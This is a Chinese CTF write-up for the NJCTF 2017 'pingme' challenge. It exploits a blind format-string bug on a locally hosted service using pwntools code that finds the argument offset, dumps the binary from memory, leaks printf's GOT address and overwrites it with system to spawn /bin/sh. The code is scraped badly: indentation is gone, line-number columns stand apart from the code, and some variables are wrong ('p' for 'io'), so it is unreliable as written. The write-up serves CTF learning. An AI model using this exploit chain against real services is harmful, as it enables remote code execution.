NJCTF2017_pingme

1.搭建题目:socat tcp-listen:10001,fork exec:./pingme,reuseaddr &

2.题目不给文件,只有地址和端口,可能是BROP也可能是格式化字符串盲打。连接上先尝试格式化字符串盲打,输入多个%p.%p.%p,可以看到泄露出了数据,那么就应该是格式化字符串盲打。

img

3.首先利用爆破找到我们输入的参数偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

from pwn import*
io = remote("127.0.0.1",10001)
#io = process("./pingme")

def exec_fmt(payload):
io.sendline(payload)
info = p.recv()
return info

auto = FmtStr(exec_fmt)
offset = auto.offset

img

偏移为7,验证一下:

img

4.利用格式化字符串漏洞将二进制文件dump下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

from pwn import*

def dump_memory(start_addr,end_addr):
result = ""
while start_addr < end_addr:
io = remote('127.0.0.1',10001)
io.recvline()
payload = "%9$s.AAA" + p32(start_addr)
io.sendline(payload)
data = io.recvuntil(".AAA")[:-4]
if data == "":
data = "\x00"
log.info("leaking: 0x%x --> %s"%(start_addr,data.encode('hex')))
result += data
start_addr += len(data)
io.close()
return result
start_addr = 0x8048000
end_addr = 0x8049000
code_bin = dump_memory(start_addr,end_addr)
with open("code.bin","wb") as f:
f.write(code_bin)
f.close()

(1)由于是格式化字符串打印,会打印到字符串结尾”\x00”,但是不会打印出”\x00”,所以需要补上”\x00”。

(2)这里的%9$s.AAA中偏移为9,是因为打印的是p32(start_addr)处的内容,前面有%9$s.AAA共八个字节,两个地址单位,所以偏移7+2=9。并且填充AAA也是为了满足地址对齐,同时作为特征点来获取程序传回来的数据。将地址放在后面也是为了防止地址中的”\x00”造成截断。

(3)dump的内容只需要有0x1000这么大就行,一个内存页即可。

(4)没有开启PIE时,32位程序从0x8048000开始。

▲搭建题目时,dump出来的内容可能会有点改变,没办法gdb调试,应该是libc版本或者ASLR的问题,不过不影响,IDA静态分析就好。

5.之后就是常规的格式化字符串漏洞利用了,借助dump下来的文件,找到printf的got表地址,利用格式化字符串打印printf函数真实地址。之后通过DynELF或者LibcSearch来获取system函数在libc中的偏移,利用泄露的printf函数真实地址,得到Libc加载的基地址,再计算得到system函数的真实地址。最后再利用格式化字符串漏洞将system函数真实地址写到printf的got表处,劫持got表。最后再输入binsh字符串即可劫持printf(“/bin/sh”)为system(“/bin/sh”)。

(1)泄露printf函数真实地址:

1
2
3
4
5
6
7
8
9
10
11
#注释头

def get_printf_addr():
io = remote('127.0.0.1', '10001')
io.recvline()
payload = "%9$s.AAA" + p32(printf_got)
io.sendline(payload)
data = p.recvuntil(".AAA")[:4]
log.info("printf address: %s" % data.encode('hex'))
return data
printf_addr = get_printf_addr()

(2)计算或者DynELF得到system函数真实地址system_addr。

(3)利用格式化字符串漏洞进行attack

1
2
3
4
5
6
7
payload = fmtstr_payload(7, {printf_got:system_addr})
io = remote('127.0.0.1', '10001')
io.recvline()
io.sendline(payload)
io.recv()
io.sendline('/bin/sh')
io.interactive()

参考资料:

https://www.dazhuanlan.com/2019/10/08/5d9c20226a067/